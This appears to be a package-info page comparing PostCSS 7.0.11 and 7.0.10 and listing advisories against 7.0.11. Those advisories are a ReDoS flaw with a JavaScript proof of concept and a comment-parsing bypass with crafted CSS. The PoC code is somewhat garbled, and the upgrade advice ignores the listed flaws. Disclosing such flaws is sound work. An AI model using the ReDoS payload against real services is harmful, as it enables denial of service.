PostCSS version 7.0.11 is a minor update to the popular JavaScript tool for transforming styles with plugins, building upon version 7.0.10. Both versions share the same core dependencies: Chalk for colorful terminal output, Source Map for debugging, and Supports Color for detecting terminal color support. They are both licensed under the MIT license and maintained by Andrey Sitnik. The core functionality and purpose of the library remain consistent between the two versions, focused on enabling developers to manipulate CSS using JavaScript plugins.
The key difference lies in the details of the release. Version 7.0.11 was released on January 12, 2019, while version 7.0.10 was released just a day prior, on January 11, 2019. The unpacked size of version 7.0.11 is negligibly larger at 598737 bytes versus 597915 bytes for its predecessor, suggesting bug fixes. Existing PostCSS users should consider upgrading to version 7.0.11 for the latest improvements and potential bug fixes. Given that both versions are very similar in terms of their declared properties, this is most likely a patch version with bug fixes. Developers can expect backwards compatibility, so the update should not have any breaking changes.
All the vulnerabilities related to the version 7.0.11 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.